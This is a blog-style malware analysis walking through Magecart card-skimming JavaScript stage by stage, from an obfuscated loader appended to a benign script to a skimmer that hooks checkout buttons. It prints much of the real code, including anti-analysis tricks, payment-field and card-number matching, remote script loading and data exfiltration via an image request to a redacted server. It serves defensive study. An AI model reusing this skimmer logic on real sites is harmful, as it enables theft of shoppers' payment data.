This article was published on the 17th of March 2019. This post was edited on the 7th of November 2021.
In late 2018, hundreds of thousands of customers of British Airlines, NewEgg, sites that used Feedify, and dozens of others were the victim of a credit card skimming script named Magecart. The name originates from the e-commerce platform Magento.
How exactly were the personal details of customers stolen from these companies? In this article, Magecart scripts will be analysed in detail. Note that scripts from multiple campaigns (and thus possibly multiple groups) are analysed. The reason for this are incomplete scripts that were obtained.
The samples that are used within this blog cannot be shared in full due to their confidentiality. As such, server addresses are also omitted from the given scripts. Aside from that, the analysis will follow the usual step-by-step approach. Note that all samples are beautified to increase readability.
Table of contents
- Stage 1 – The initial infection
- Stage 2 – Analysing the loader
- Stage 3 – Skimming and data exfiltration
- Conclusion
Stage 1 – The initial infection
The initial file is a benign Javascript file to which code is appended. When a visitor visits the site, the additional Javascript is executed. The first file has a repeating lay-out, a part of which is given below.
BbX = "0a0w0w0w0w0w0w0w0w0 w0w0w0w2u39322r382x33320w2w2" + "w14382t3c38153f0a0w0w0w0w0w, 0w0w0w0w" + "0w0w0w0w0w0w0w2x2u0w14382t3c381a302t32" + "2v382w0w1p1p0w1c150w362t383936320w1c1n3a2p360w2w2p372w0w1p0w1";; var G0A = "y2j0y302t322v382w0y2l161g15152 l14";; var Uu8 = document["c" + (59 > 25 ? "\x72" : "\x68") + "eate" + "Elem" + (51 > 25 ? "\x65" : "\x5d") + "nt"]("div");; Bvt = "c1n0a0w0w0w0w0w0w0w0w0w0w0w0w0w0w0w0w2u33360w143a2p360w2x0w1p0w1c1n0w2x0w1o0" + "w382t3c381a302t322v382w1n0w2x1717150w3f2w2p372w0w1p0w14142w2p372" + "w1o1o1h15192w2p372w1517382t3c381a2r2w2p361v332s2t1t38142x151n, 0a0w0";; Zv2 = "w0w0w0w0w0w0w0w0w0w0w0w0w0w0w0w0w" + "0w 0w2w2p372w0w1p0w2w2p372w0w120w2w2p372w1n0a0w0w0w0w0w0w0w0w0w0w0w0w0w0w0" + "w0w3h0a0w0w0w0w0w0w0w0, w0 w0w0w0w0w0w0w0w362t383936320w2w2p372w111e1h1h1n0a0w" + "0w0w0w0w0w0w0w0w0w0w0w3h0a0w0w0w0w0w0w0w0w093a2p360w2q332s3d1p3b2x322s" + "333b1a2u2u2y1a38332b38362x322v14151a36, 2t34302p2r2t141b2j2m2p193e1t1";; p2v = "92i1c191l2k190y2l171b2v180y0y151n0a" + "0w0w0w0w0w0w0w0w093a2p360w2r362r1p2q332s3d1a312";; c8D = "p382r 2w141b3e1l332v2z373b341i1d1g1i33332s332v1f2s1l2y2q142j2k3b2, k2s2k" + "192l17150y1b2v152j1c2l1a362t34302p2r2t140y3e1l332v2z373b341i1d1g1i33332s332v1f2s1" + "l2y2q0y180y0y151n0a0w0w0w0w0w0w0w0w092r362r1p2r362r1a37392q373836141c" + "182r362r1a302t322v382w191d151n0a0w0w0w0w0w0w0w0w092q332s3d1p2w2w142q332s3d1a";; Uu8["in" + (50 > 8 ? "\x6e" : "\x66") + "erH" + "TM" + (83 > 12 ? "\x4c" : "\x44") + ""] += BbX + Bvt + Zv2 + p2v + c8D;;
There are a lot of strings that are appended in a specified order. The variable Uu8 is equal to the return value of a function that resides within the document, which is the current page. The used obfuscation splits the string in multiple parts to avoid the matching of any keyword dictionary. Additionally, an if-statement is used to determine one character somewhere in the string. An example is given below.
var Uu8 = document["c" + (59 > 25 ? "\x72" : "\x68") + "eate" + "Elem" + (51 > 25 ? "\x65" : "\x5d") + "nt"]("div");
The if-statment contains two constant values, in this case 59 and 25. If 59 is greater than 25 (which it is), the outcome of the statement equals \x72. Otherwise, the outcome of the statement equals \x68. These values are, respectively, equal to r and h. In the second statement, the value 51 is greater than 25, resulting in the character \x65, which equals e. The rewritten code is given below.
var Uu8 = document["createElement"]("div");
The concatenation of the strings is done using a method that resides within the newly created div object. An example is given below.
Uu8["in" + (50 > 8 ? "\x6e" : "\x66") + "erH" + "TM" + (83 > 12 ? "\x4c" : "\x44") + ""] += BbX + Bvt + Zv2 + p2v + c8D;
Deobfuscating the code by following the string concatenation and the if-statements, readable code emerges, as can be seen below.
Uu8["innerHTML"] += BbX + Bvt + Zv2 + p2v + c8D;
The inner HTML of the div element is appended with previously instantiated variables. Besides the usage of the innerHTML function, another function is used as well. An excerpt is given below.
Uu8["appendC" + (87 > 48 ? "\x68" : "\x62") + "il" + "d"](document["cre" + (70 > 34 ? "\x61" : "\x5b") + "" + "teTextNod" + (59 > 12 ? "\x65" : "\x5b") + ""](pik + ACf + eNs + GFz + eUs));
The obfuscation is the same throughout the whole the document, making it a repetitive task to replace all require parts. The deobfuscated code is given below.
Uu8["appendChild"](document["createTextNode"](pik + ACf + eNs + GFz + eUs));
Near the end of the script (after all the strings have been added to Uu8), two functions are executed, both of which are given below.
Uu8 = Uu8["innerH" + String.fromCharCode(84) + "M" + "L"];; Uu8 = Uu8["r" + (55 > 31 ? "\x65" : "\x60") + "p" + "lac" + String.fromCharCode(101) + ""](/[\s+\.\,]/g, "");;
After deobfuscating them, one can deduce their functionality:
Uu8 = Uu8["innerHTML"];; Uu8 = Uu8["replace"](/[\s+\.\,]/g, "");;
At first, the variable is set to equal the inner HTML, or rather the raw string that was created out of all the other strings. In the second line, any amount of whitespace, a dot or a comma within the string is replaced with an empty string, which is a different notation for simply removing them from the string.
At the end of the script, a for-loop is used to iterate through the div element that was created in the beginning. To understand what is happening, the for loop should be deobfuscated first. Below, the obfuscated for-loop is given.
var pHU = ""; //omitted code for (var A1O = ("{.RwHs\x60dq2ZTOmp" ["charCodeAt"](2) * 0 + 0.0); A1O < Uu8["" + (91 > 45 ? "\x6c" : "\x65") + "en" + "" + String.fromCharCode(103) + "th"]; A1O += (2.0 + "PA.*}sM42xYeE" ["charCodeAt"](8) * 0)) { pHU += String["fro" + (73 > 16 ? "\x6d" : "\x64") + "" + "" + (95 > 20 ? "\x43" : "\x3c") + "harCode"](parseInt(Uu8["s" + "" + (87 > 44 ? "\x75" : "\x70") + "bstr"](A1O, (2.0 + "\x82%uj)wQ\x7f\x60~}_y8" ["charCodeAt"](4) * 0)), zLw)) };
A for-loop is generally defined by an integer which is used to keep track of the amount of times that the code within the statement should be executed. The variable A10, which is generally named i, is set to a specific starting value. The character at index 2 of the given string is multiplied by zero, after which zero is added. Regardless of the value, anything times zero is equal to zero. Thus, the variable A10 is set to 0.
The second part of the for-loop is the condition: how many times should the iteration continue. In this case, the strings \x6c, en, 103d and th form the name of the function that is called based on the earlier created div element. When concatenated, the function’s name is presented: length.
Lastly, the amount by which the set variable (A10) is increased per iteration is defined. The variable is set equal to itself and 2 plus the value of a character times 0. Therefore, A10 is increased by 2.
When rewritten, the for-loop is readable, as can be seen below.
var pHU = ""; //omitted code for (var A10 = 0; A10 < Uu8["length"]; A10 += 2) { //omitted code }
The code that is executed each iteration uses the same obfuscation techniques as other obfuscated strings within the script. The code is given below.
pHU += String["fro" + (73 > 16 ? "\x6d" : "\x64") + "" + "" + (95 > 20 ? "\x43" : "\x3c") + "harCode"](parseInt(Uu8["s" + "" + (87 > 44 ? "\x75" : "\x70") + "bstr"](A1O, (2.0 + "\x82%uj)wQ\x7f\x60~}_y8" ["charCodeAt"](4) * 0)), zLw))
Removing the obfuscation makes the code readable.
pHU += String["fromCharCode"](parseInt(Uu8["substr"](A1O, 2), zLw))
The variable zLw is defined earlier in the script. The declaration is given below.
var zLw = (1.0 + "fGDg#zh" ["length"] * 5);
The value of zLw equals 1 plus 7 times 5, totalling 36.
The variable pHU contains the altered data of the div element that was created in the start of the script. In the lines after the for-loop, multiple changes are made to multiple variables. Below, the important lines are highlighted.
var JUc = "1g1l1d1g1i1d1j1g1d1c152j0y38332b38362x322".constructor;; CkV["to" + String.fromCharCode(83) + "" + "tr" + (53 > 25 ? "\x69" : "\x60") + "ng"] = JUc["c" + (74 > 40 ? "\x6f" : "\x69") + "ns" + "" + (100 > 10 ? "\x74" : "\x6f") + "ructor"](pHU);; pHU = CkV + "6361s2b111z1i1b1y2o39142i0x1s1z163c2j17301s0z2r11 2x35";; Uu8["i" + "nnerHT" + (74 > 49 ? "\x4d" : "\x45") + "L"] = "331g3231372o331w302c2t1t0w2a2w3b2";;;
After removing the obfuscation, the script’s functionality becomes apparent.
var JUc = "1g1l1d1g1i1d1j1g1d1c152j0y38332b38362x322".constructor;; CkV["toString"] = JUc["constructor"](pHU);; pHU = CkV + "6361s2b111z1i1b1y2o39142i0x1s1z163c2j17301s0z2r11 2x35";; Uu8["innerHTML"] = "331g3231372o331w302c2t1t0w2a2w3b2";;;
The content of the variable pHU is used to instantiate a new object. After that, the variable pHU is altered to contain a useless string of code. Lastly, the div named Uu8 is set to equal a new value. This overwrites the existing value within the variable, which was equal to all the concatenated strings.
In order to obtain stage 2, one should print the value of pHU directly after the for-loop. Additionally, one should comment out all the calls to the variable pHU to create an object, since its functionality is not yet known at this stage. This can be done using the code that is given below.
console.log(pHU); //CkV["toString"] = JUc["constructor"](pHU);;
Using the browser or NodeJS, one can then save the console output to a file, which results in the second stage.
This script is a known loader, named the Radix loader, as described by Sucuri.
Stage 2 – Analysing the loader
The second stage starts with a function, named hh. It has a single parameter, which is hashed in some form to obtain a unique output based on the input. The function is given below.
function hh(text) { if (text.length == 0) return 0; var hash = 0; for (var i = 0; i < text.length; i++) { hash = ((hash << 5) - hash) + text.charCodeAt(i); hash = hash & hash; } return hash % 255; }
Stage one takes place within a single function, named ffj. In the first line after the hashing function hh, two new variables (named crc and body) are instantiated. The value of body is equal the return value of a regular expression match on ffj. The regular expression matches all characters that are not a through z, A through Z, 0 through 9, or a dash. Below, the code for this part is given.
var body = window.ffj.toString().replace(/[^a-zA-Z0-9\-"]+/g, ""); var crc = body.match(/z9ogkswp6146oodog3d9jb([\w\d\-]+)"/g)[0].replace("z9ogkswp6146oodog3d9jb", ""); body = hh(body.replace("z9ogkswp6146oodog3d9jb" + crc, "z9ogkswp6146oodog3d9jb")) == crc ? 1 : window["ub8"]("");;
The variable crc is set to remove the string z9ogkswp6146oodog3d9jb from the body. The body is then set equal to the hash. If both hashes are equal, the value true is returned. If not, the field ub8 within the window object is cleared. This field contains the Magecart script, thus removing the malicious code from the page.
In case the scrip is tampered with by an analyst, the hash does not match the hard coded match, which results in the removal of the script from the page.
In the next part of the script, a new element is created. The obfuscated code is given below.
var divf = document["create" + String.fromCharCode(69) + "lem" + "" + String.fromCharCode(101) + "nt"]("Hs2c<~rniXp>t" ["replace"](/[\>H\<nX\~2]/g, "")); divf["" + "i" + String.fromCharCode(100) + ""] = "Bv+ue[rKi>Vf]iUcNa!3tUwilosn;Sy6tge6p" ["replace"](/[gl3\]By6VN\[u\!wUK\;\>s\+]/g, ""); divf["i" + "nne" + (72 > 35 ? "\x72" : "\x69") + "HTML"] = atob("[obfuscated-base64-code]"["replace"](/[\/\[\-\<\%\@\#\>\;\&\_\(\)\+\*\!\]\~\`q6]/g,"")); document[""+""+String.fromCharCode(98)+"ody"]["appen"+(64>35?"\x64":"\x5c")+"C"+"hi"+(87>20?"\x6c":"\x66")+"d"](divf);
After deobfuscating the code, which can be done by using the console in a browser, one can easily read the code.
var divf = document["createElement"]("script"); divf["id"] = "verificationStep"; divf["innerHTML"] = "[base64-code]"; document["body"]["appendChild"](divf);
A new script element is created, named divf. This element is given an ID and the content of the script is set using the innerHTML function. The atob function decodes a base64 string. To write the decoded content to the console, one can use the script that is given below.
console.log(Buffer.from("[base64-value]", 'base64').toString());
The decoded script contains more methods to disrupt the analysis of the script. If the Firebug window is open, the status is set to on. This code was embedded as a base64 string. Since it is not required to avoid detection after decoding it, it has not been obfuscated.
function checkHandler() { if (window.Firebug && window.Firebug.chrome && window.Firebug.chrome.isInitialized) { setStatus('on'); return; } ///[...] }
If the status is set to on, the console is cleared. Additionally, resizing the window will call the checkHandler function, which sets the status to on as well. The code for this is given below.
if (!options.once) { setInterval(checkHandler, delay); window.addEventListener('resize', checkHandler); } else { checkHandler(); }
The next part of the script is stored in a variable named divy. So far, important scripts have been stored in a variable named div*, where the asterisk is a wildcard. The letter f has been used already, in this part the letter y is used.
The obfuscation is similar to what has already been observed and will not be explained in detail furthermore.
var divy = document["cr"+String.fromCharCode(101)+"at"+"eE"+String.fromCharCode(108)+"ement"]("xs-cXrmi<plCt"["replace"](/[\<mXx\-Cl]/g,"")); divy[""+"i"+(97>26?"\x64":"\x5a")+""] ="&bjr~o#w4s5e9rT_yem]x3t@e6pn&s=>izoZn"["replace"](/[j\~3Z\=m5z\#y\]9p\@4\>\&T6]/g,""); divy["i"+String.fromCharCode(110)+""+""+String.fromCharCode(110)+"erHTML"] ="zsje[Et9UIzDn7t[eMrzvYOa&7l>(&f#uBnYHcMt1iZo4nHX(k)U{GcNEo-n!s+o-l=Oe8.<cFl3eQaX@rF(q>)6N;/c=oMnFs/o6l_KeP.6iQn`1f&oA(g2'MC!o4nms`oDlTeA RhwU9aLjs% /cXlhe<ah3rHe2dz Ab9y4 6bTrJhohwOsJeSrAh -eUxVtK+eUn@#s&#i%2o%n@._L'%@)2;E}J,`5`0=0J)&;"["replace"](/[\_JB\&\`P\/\@j\>\=YR7\[\!\#LAmZ1GFNEVhK92\-\%z84g\+TqXDMUkHOQ6\<3S]/g,""); document[""+"b"+(66>0?"\x6f":"\x6a")+"dy"]["appen"+(64>19?"\x64":"\x5b")+"C"+"hi"+(82>18?"\x6c":"\x65")+"d"](divy);
The deobfuscated code shows the true intention of the script: an additional piece of Javascript that is added to the page using the appendChild method. The content of the file is to clear the console. This is masked by imposing as a browser extension, in both the ID and the text that is written to the console.
var divy = document["createElement"]("script"); divy["id"] = "browser_extension"; divy["innerHTML"] = "setInterval(function(){console.clear();console.info('Console was cleared by browser extension.');},500);"; document["body"]["appendChild"](divy);
Due to the repetitive obfuscation methods, new code will not be given in the obfuscated form unless a new method is used.
In the code below, the user agent of the visitor is matched. If any of the given cases is a match, the value true is returned. In other cases, the value false is returned. For the sake of this example, the additional dead code below return false has also been deobfuscated. This code is unreachable and can thus be skipped during the analysis. The name of the function has been refactored into something understandable.
function isMobile() { if (navigator["userAgent"]["match"](/Android/i) || navigator["userAgent"]["match"](/webOS/i) || navigator["userAgent"]["match"](/iPhone/i) || navigator["userAgent"]["match"](/iPad/i) || navigator["userAgent"]["match"](/iPod/i) || navigator["userAgent"]["match"](/BlackBerry/i) || navigator["userAgent"]["match"](/Windows Phone/i) ) { return true; } else { return false; O_F="rIFkfiR6Nz"; pBw="K15IJUec0h" n2Q="uVyhmnTIAt"; Ons="RW8Xui8eN4"; var sgN="Zla0PE48rr"; var kt4="cNRal36kkn"; } }
The function contentcachecontrol adds yet another script to the current page, but only if the status is off or the user is on a mobile device. Note the name of the variable again: div*. It loads a script from an external domain and appends it to the page. This script is stage 3.
contentcachecontrol["create"](function (status) { if (status === "off" || isMobile() ) { var divg = document["createElement"]("script"); bJs=263; divg["id"] = "newsprotar"; var k60=19; divg["src"] ="https://[c2-domain]/jquery-latest.min.js"; var GF0=228; document["body"]["appendChild"](divg); var xVu="47Q3RU3ym5"; } UX8(); u8X="TqLHCR0w1c"; }
If the status is set to on, which happens when the console is opened or the window is resized, the function UX8 is called. Note that the window is also resized when the console is first opened. Each of the added scripts is then removed from the page. This further contributes to the evasion of researchers, since it tries to hide its presence when an analysis is going on. In this case, using static analysis, the script cannot execute and it does not provide the additional layer of detection.
function UX8() { var indexset; var a = "[ 'jquery_ui', 'verificationStep', 'browser_extension', 'newsprotar' ]"; for (indexset = 0; indexset < a["length"]; ++indexset) { elemdis = document["getElementById"](a[indexset]); elemdis["parentNode"]["removeChild"](elemdis); var s8q=103; } return false; }
Stage 3 – Skimming and data exfiltration
The third stage starts with three calls and numerous function declarations, as can be seen below.
var _0x46dd = ['omitted', 'due', 'to', 'length']; (function(_0x2a4cae, _0x48387f) { var _0x4a41a0 = function(_0x3fbfe3) { while (--_0x3fbfe3) { _0x2a4cae['push'](_0x2a4cae['shift']()); } }; _0x4a41a0(++_0x48387f); }(_0x46dd, 0x182)); //omitted function declarations setTimeout(_0x25b463, 0x12c);
At first, an array is declared. Due to its size, the 83 elements are omitted from the excerpt. After the array is declared, a function is executed in which array is shifted around. At last, the setTimeout function is called. The first argument is the action to call, whereas the second argument is the amount of miliseconds that is waited before the first argument is called. Note that this function does not repeat its execution.
The next function, named _0x5418, is used to decrypt the strings. Below, the function is analysed in parts.
var _0x5418 = function(_0x552aa6, _0x427789) { _0x552aa6 = _0x552aa6 - 0x0; var _0x338d66 = _0x46dd[_0x552aa6]; if (_0x5418['KfBtLb'] === undefined) { (function() { var _0x446118 = function() { var _0x177dac; try { _0x177dac = Function('return\x20(function()\x20' + '{}.constructor(\x22return\x20this\x22)(\x20)' + ');')(); } catch (_0x3a77ba) { _0x177dac = window; } return _0x177dac; }; var _0x5cbba5 = _0x446118(); var _0x228c49 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; _0x5cbba5['atob'] || (_0x5cbba5['atob'] = function(_0x19b010) { var _0x125769 = String(_0x19b010)['replace'](/=+$/, ''); for (var _0x47a32f = 0x0, _0x386a3d, _0x226e74, _0x1ce67a = 0x0, _0x5a65f4 = ''; _0x226e74 = _0x125769['charAt'](_0x1ce67a++); ~_0x226e74 && (_0x386a3d = _0x47a32f % 0x4 ? _0x386a3d * 0x40 + _0x226e74 : _0x226e74, _0x47a32f++ % 0x4) ? _0x5a65f4 += String['fromCharCode'](0xff & _0x386a3d >> (-0x2 * _0x47a32f & 0x6)) : 0x0) { _0x226e74 = _0x228c49['indexOf'](_0x226e74); } return _0x5a65f4; }); }());
The variable _0x552aa6 is equal to the index of _0x46dd, which is the array. The variable _0x427789 is used as a decryption key. The try-catch structure will always fail, due to the fact that the malformed output causes an error. The variable _0x228c49 is the used alphabet, in which the atob function is used to decode base64 encoded values. The code below is the rest of the decryption function.
var _0x8d10d0 = function(_0x2abe9e, _0x427789) { var _0x1c6a49 = [], _0x46acfa = 0x0, _0x269141, _0x104913 = '', _0x35ed7d = ''; _0x2abe9e = atob(_0x2abe9e); for (var _0x23c42d = 0x0, _0x1d91df = _0x2abe9e['length']; _0x23c42d < _0x1d91df; _0x23c42d++) { _0x35ed7d += '%' + ('00' + _0x2abe9e['charCodeAt'](_0x23c42d)['toString'](0x10))['slice'](-0x2); } _0x2abe9e = decodeURIComponent(_0x35ed7d); for (var _0xb93cdb = 0x0; _0xb93cdb < 0x100; _0xb93cdb++) { _0x1c6a49[_0xb93cdb] = _0xb93cdb; } for (_0xb93cdb = 0x0; _0xb93cdb < 0x100; _0xb93cdb++) { _0x46acfa = (_0x46acfa + _0x1c6a49[_0xb93cdb] + _0x427789['charCodeAt'](_0xb93cdb % _0x427789['length'])) % 0x100; _0x269141 = _0x1c6a49[_0xb93cdb]; _0x1c6a49[_0xb93cdb] = _0x1c6a49[_0x46acfa]; _0x1c6a49[_0x46acfa] = _0x269141; } _0xb93cdb = 0x0; _0x46acfa = 0x0; for (var _0x5776bb = 0x0; _0x5776bb < _0x2abe9e['length']; _0x5776bb++) { _0xb93cdb = (_0xb93cdb + 0x1) % 0x100; _0x46acfa = (_0x46acfa + _0x1c6a49[_0xb93cdb]) % 0x100; _0x269141 = _0x1c6a49[_0xb93cdb]; _0x1c6a49[_0xb93cdb] = _0x1c6a49[_0x46acfa]; _0x1c6a49[_0x46acfa] = _0x269141; _0x104913 += String['fromCharCode'](_0x2abe9e['charCodeAt'](_0x5776bb) ^ _0x1c6a49[(_0x1c6a49[_0xb93cdb] + _0x1c6a49[_0x46acfa]) % 0x100]); } return _0x104913; }; _0x5418['VTiNeW'] = _0x8d10d0; _0x5418['EaRSQx'] = {}; _0x5418['KfBtLb'] = !![]; } var _0x538bf9 = _0x5418['EaRSQx'][_0x552aa6]; if (_0x538bf9 === undefined) { if (_0x5418['HaRpEp'] === undefined) { _0x5418['HaRpEp'] = !![]; } _0x338d66 = _0x5418['VTiNeW'](_0x338d66, _0x427789); _0x5418['EaRSQx'][_0x552aa6] = _0x338d66; } else { _0x338d66 = _0x538bf9; } return _0x338d66; };
With the array (_0x46dd), the shuffle (the function directly below the array) and decryption function (_0x5418), strings can be decrypted. Executing the code can be done using the browser’s console.
The setTimeout function calls _0x25b463 after 0x12c (300 in decimal notation) miliseconds. The function is given below.which is given below.
function _0x25b463() { var _0x32f5da = { 'ddQaX': _0x5418('0x4e', 'o3u8'), 'EWfkp': function(_0x286e2e) { return _0x286e2e(); } }; if (new RegExp(_0x32f5da[_0x5418('0x4f', 'A7[d')], 'i')[_0x5418('0x50', 'HJGL')](window[_0x5418('0x51', '91%q')])) { _0x32f5da[_0x5418('0x52', '91%q')](_0xd96f55); } }
The function call _0x5418(‘0x4e’, ‘o3u8’) specifies the 78th index (or 4e in hexadecimal) with o3u8 as a key. The deobfuscated function is given below.
function _0x25b463() { var _0x32f5da = { 'ddQaX': "onepage|firecheckout|osc|Checkout|awesomecheckout|onestepcheckout|onepagecheckout|checkout|oscheckout|idecheckoutvm", 'EWfkp': function(_0x286e2e) { return _0x286e2e(); } }; if (new RegExp(_0x32f5da["ddQaX"], 'i')["test"](window["location"])) { _0x32f5da["EWfkp"](_0xd96f55); } }
If the current url (the window[“location”] object) contains one of the keywords that is specified in ddQaX, the function EWfkp is called. The sole argument of this function is executed as a function, whose return value is then returned. This leads the track to the function named _0xd96f55. Note that the code below does not contain the encrypted strings to maintain readability.
function _0xd96f55() { var _0x48392d = { 'bXhcD': function(_0x3c07bf) { return _0x3c07bf(); }, 'RGUHZ': function(_0x47c5a1, _0x5ba638) { return _0x47c5a1 !== _0x5ba638; }, 'QGboB': function(_0x18b96c, _0x16332e) { return _0x18b96c(_0x16332e); }, 'FrtWl': 'select|password|checkbox|radio|text|hidden|number|tel|email', 'CNmMs': function(_0x532305, _0x464299) { return _0x532305 < _0x464299; }, 'tMszl': function(_0x54494a, _0x5c9e9c) { return _0x54494a !== _0x5c9e9c; }, 'YYlEb': function(_0x3baac5, _0x575547) { return _0x3baac5 !== _0x575547; }, 'jZKOV': function(_0x1f2dea, _0x1405c6) { return _0x1f2dea !== _0x1405c6; }, 'qGxKX': function(_0x48c520, _0x9a5492) { return _0x48c520 !== _0x9a5492; }, 'GAvfS': function(_0x3cfcad, _0x4d7315) { return _0x3cfcad + _0x4d7315; }, 'VbmoM': "click" }; var _0x197d5a = []; var _0x4617d7 = "a[title*='Place Order'],a[href*='javascript: ; '],a[href*='javascript: void (0)'],a[href*='javascript: void (0); '],a[href='#'],button,input,submit,.btn,.button"; var _0x206c55 = _0x48392d["FrtWl"]; var _0x2bf815 = document["querySelectorAll"](_0x4617d7); for (var _0x286676 = 0x0; _0x48392d['CNmMs'](_0x286676, _0x2bf815["length"]); _0x286676++) { if (new RegExp(_0x206c55, 'i')["test")](_0x2bf815[_0x286676]['type'])) { continue; } var _0x906423 = ''; if (_0x48392d["RGUHZ"](_0x2bf815[_0x286676]['id'], '') && _0x48392d["tMszl"](_0x2bf815[_0x286676]['id'], undefined)) _0x906423 = _0x2bf815[_0x286676]['id']; else if (_0x2bf815[_0x286676]["name"] !== '' && _0x48392d["YYlEb"](_0x2bf815[_0x286676]["name"], undefined)) _0x906423 = _0x2bf815[_0x286676]['name']; else if (_0x48392d["jZKOV"](_0x2bf815[_0x286676]['title'], '') && _0x48392d['qGxKX'](_0x2bf815[_0x286676]['title'], undefined)) _0x906423 = _0x2bf815[_0x286676]['title']; else _0x906423 = _0x48392d["GAvfS"]('bb' + _0x286676, "_12"); if (_0x197d5a["indexOf"](_0x906423) != -0x1) { continue; } _0x2bf815[_0x286676]["addEventListener"](_0x48392d["VbmoM"], function() { var _0x3bbc45 = _0x48392d["bXhcD"](_0x5d0412); if (_0x3bbc45 !== undefined && _0x48392d["RGUHZ"](_0x3bbc45, '')) { _0x48392d["QGboB"](_0x2bb700, _0x3bbc45); } }); _0x197d5a["push"](_0x906423); } }
The array named _0x48392d contains numerous functions. By calling the name of the item within the array, the function is called. Most of the functions within the array return a simple boolean to compare values. These are later used within the code to increase the complexity and decrease the readability. It also allows the introduction of additional variables that serve no other purpose, obfuscating the code even more.
The variable _0x2bf815 is equal to the return value of the querySelectorAll function, which selects multiple types of links and elements, all of which reside within _0x4617d7. The content is given below.
"a[title*='Place Order'],a[href*='javascript: ; '],a[href*='javascript: void (0)'],a[href*='javascript: void (0); '],a[href='#'],button,input,submit,.btn,.button"
The RegExp object matches _0x206c55, of which the value is given below.
'select|password|checkbox|radio|text|hidden|number|tel|email'
These are types of elements on the page. The addEventListener call at the end of the function, adds an event listener to the selected objects. The function _0x2bb700 is then called with _0x3bbc45 as an argument. The code is given below.
//[omitted code] var _0x48392d = { 'QGboB': function(_0x18b96c, _0x16332e) { return _0x18b96c(_0x16332e); }, 'bXhcD': function(_0x3c07bf) { return _0x3c07bf(); }, //[omitted code] var _0x3bbc45 = _0x48392d["bXhcD"](_0x5d0412); _0x48392d["QGboB"](_0x2bb700, _0x3bbc45);
_0x3bbc45 is set equal to the return value of _0x5d0412, which is a function. This type of obfuscation is used multiple times within the script. Another form of obfuscation is highlighted below.
function _0x5d0412() { var _0x65915 = { 'OsyAS': "8|5|2|9|3|4|1|6|7|0", } var _0x48d69f = _0x65915["OsyAS"]["split"]('|'), _0x291277 = 0x0; while (!![]) { switch (_0x48d69f[_0x291277++]) { case '0': //[omitted code]
The variable OsyAS (within the array _0x65915) contains a sequence of numbers, separated by pipes (the | symbol). This is the order through which the switch statement is accessed. Using the split split function with the pipe as a separator, an array with all the embedded numbers is returned. The !![] is used to set the value (in this case true) to the boolean type, as is explained here.
The script checks for field names, which are given below, as well as the regular expression that is used to verify the entered credit card number.
'shipping|billing|payment|cc|month|card|year|expiration|exp|cvv|cid|code|ccv|authorize|firstname|lastname|street|city|phone|number|email|zip|postal|region|country|visa|master' /(3|4|5|6)[0-9]{13,16}/gi;
The regular expression checks if the provided number starts with either a 3, 4, 5 or a 6. After that, there should be 13 to 16 occurrences of the numbers 0 through 9. A credit card number can be validated this way, although a fake number could be used. The chances that a fake number is used, are rather slim since the customer is unaware of the presence of the malware and is in the process of purchasing something, for which a valid credit card number is required.
The last call of this script is made to the function _0x2bb700. The code of this function is given below.
function _0x2bb700(_0x5b4216) { var _0x31d9ab = { 'pFyUG': function(_0x15a0d8, _0x5c4103) { return _0x15a0d8 + _0x5c4103; }, 'JHcif': function(_0x2d04c8, _0x2b997b) { return _0x2d04c8 + _0x2b997b; }, 'zDkxM': function(_0x2ab26f, _0x1bdeb5) { return _0x2ab26f(_0x1bdeb5); }, 'ZydiS': "[base64-encoded-c2]", 'juZEj': "data=" }; if (_0x5b4216 && _0x5b4216["length"]) { var _0x2a97b7 = new Image(); _0x2a97b7["src"] = _0x31d9ab["pFyUG"](_0x31d9ab["JHcif"](_0x31d9ab["zDkxM"](atob, _0x31d9ab["ZydiS"]), _0x31d9ab["juZEj"]), _0x5b4216); } }
The variable _0x2a97b7 is a new image object. It is equal to ZydisS, juZEj and _0x5b4216. Rewritten, the code’s functionality becomes more apparent.
var image = new Image(); image.src = "[c2-address]" + "data=" + data;
The data is base64 encoded as well, meaning the stolen data is added to the URL as a parameter. This way, all the data is exfiltrated through a HTTP GET request, instead of the usual HTTP POST when submitting data.
Conclusion
To conclude, it is really difficult to spot the difference between a benign site and one that is infected with the malicious Magecart scripts. The victim will not notice anything during the time that is spent on the infected website. The ordered products, if any, are delivered and the transferred money is wired to the shop, like a normal transaction. Since the credit card fraud will only happen later, it is really hard for the victim or the bank to pinpoint where the payment information was stolen from.
To contact me, you can e-mail me at [info][at][maxkersten][dot][nl], or DM me on Twitter @Libranalysis.